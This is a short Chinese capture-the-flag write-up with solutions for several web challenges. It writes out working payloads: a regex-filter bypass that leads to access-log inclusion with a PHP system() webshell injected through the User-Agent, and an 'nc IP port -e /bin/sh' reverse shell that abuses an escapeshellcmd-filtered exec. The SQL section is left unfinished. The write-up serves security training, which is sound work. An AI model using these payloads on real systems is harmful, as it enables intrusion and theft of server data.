web签到
执行命令没有回显,我们直接写文件就可以了
有字符长度限制
ls />a
nl /*>a
访问url/api/a
下载文件
easy_calc
<?phpif(check($code)){eval('$result='."$code".";");echo($result);
}function check(&$code){$num1=$_POST['num1'];$symbol=$_POST['symbol'];$num2=$_POST['num2'];if(!isset($num1) || !isset($num2) || !isset($symbol) ){return false;}if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){return false;}if(preg_match("/^[\+\-\*\/]$/", $symbol)){$code = "$num1$symbol$num2";return true;}return false;
}
正则EXP
<?php$pattern = "/!|@|#|\\$|%|\\^|&|\\(|_|=|{|}|'|<|>|\\?|\\?|\\||`|~|\\[/";// 所有可能的字符,包括特殊字符、大小写字母和数字
$all_chars = array_merge(range('!', '/'), // 特殊字符range(':', '@'), // 特殊字符range('[', '`'), // 特殊字符range('{', '~'), // 特殊字符range('0', '9'), // 数字range('A', 'Z'), // 大写字母range('a', 'z') // 小写字母
);$unmatched_chars = [];foreach ($all_chars as $char) {if (!preg_match($pattern, $char)) {$unmatched_chars[] = $char;}
}if (empty($unmatched_chars)) {echo "所有字符都被匹配了。\n";
} else {echo "未匹配到的字符有:\n";foreach ($unmatched_chars as $char) {echo $char . " ";}echo "\n";
}?>
第一个正则
" ) * + , - . / : ; \ ] } 这些字符还都可以使用
大小写字母和数字也都可以使用
第二个正则
! " # $ % & ' ( ) , . : ; < = > ? @ [ \ ] ^ _ ` { | } ~
大小写字母和数字
POST:
num1=1;include "/var/log/nginx/access.log";&symbol=-&num2=1UA:
<?=system('ls /');?>
<?=system('cat /secret')?>
包含日志文件
easy_cmd
<?phperror_reporting(0);
highlight_file(__FILE__);$cmd=$_POST['cmd'];if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){exec(escapeshellcmd($cmd));
}
?>
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
进行转义之后就会进行shell
命令但是不能使用带参数的命令
那么我们就反弹shell
POST:
cmd=nc IP port -e /bin/sh
然后监听端口进行rce即可
easy_sql
欠着